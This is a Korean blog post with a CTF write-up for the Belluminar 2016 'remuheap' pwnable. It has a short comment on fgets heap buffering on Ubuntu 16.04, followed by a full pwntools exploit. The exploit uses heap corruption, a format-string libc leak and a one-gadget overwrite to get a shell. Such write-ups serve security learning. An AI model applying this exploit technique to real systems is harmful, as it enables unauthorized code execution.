cdor1's lab
Belluminar 2016 remuheap 본문
후기 : Ubuntu16.04에서 fgets로 입력하게되면 힙에도 동시에 버퍼가 생성되는데 이를 이용한 재밌는 문제였다.
눈으로 그냥 봤을때는 malloc을 어떤 크기로 하든지 내용 입력값을 4095바이트를 받아서 생기는 unexploitable한 취약점밖에 보이지 않는데
이렇게 fgets를 이용해 힙에 데이터를 쓸 수 있다는것을 알아 이런 재미있는 문제를 풀어볼 수 있었다.
공부하자. 공부하면 걸어가다가도 떡이 생길 것 같다.
from pwn import *
s = remote('localhost', 4000)
elf = ELF('/home/cdor1/pwnable/remuheap')
def malloc(size, data):
print s.recvuntil('> ')
s.sendline('1')
print s.recvuntil('Input size: ')
s.sendline(str(size))
print s.recvuntil('Input data: ')
s.sendline(data)
def free():
print s.recvuntil('> ')
s.sendline('2')
def modify(name):
print s.recvuntil('> ')
s.sendline('3')
print s.recvuntil('change age (y/n)? ')
s.sendline('n')
print s.recvuntil('Input new name: ')
s.sendline(name)
print s.recvuntil('new name (y/n)? ')
s.sendline('y')
def exit(code):
print s.recvuntil('> ')
s.sendline(str(code))
malloc(0x1000,'AAAA')
free()
modify('AAAA')
free()
modify('A'*8 + p64(0x6020D0 - 0x10))
malloc(0x1000, 'BBBB')
modify('A'*8 + p64(0x6020D0-0x18) + p64(0x6020C0-0x8))
free()
exit(1234)
malloc(0x400, 'A'*8 + p64(0x602069))
pay = '\x00'*7
pay += p64(0x4007c0)
pay += '\x00'*4
print s.recvuntil('> ')
s.send('%17$p')
leak = int(s.recvuntil('I')[3:-1],16)
libc_base = leak - 0x20830
oneshot = libc_base + 0x4525A
log.info('puts : ' + hex(leak))
log.info('libc_base : ' + hex(libc_base))
log.info('oneshot : ' + hex(oneshot))
modify('\x00' + p64(oneshot))
s.interactive()
'Security > Pwnable' 카테고리의 다른 글
RCTF 2015 shaxian (0) | 2017.01.10 |
---|---|
Christmas CTF Who is solo (0) | 2017.01.09 |
HITCON 2016 SleepyHolder (0) | 2017.01.08 |
2016 MMA CTF diary (0) | 2017.01.07 |
HolyShield diary (1) | 2017.01.06 |
Comments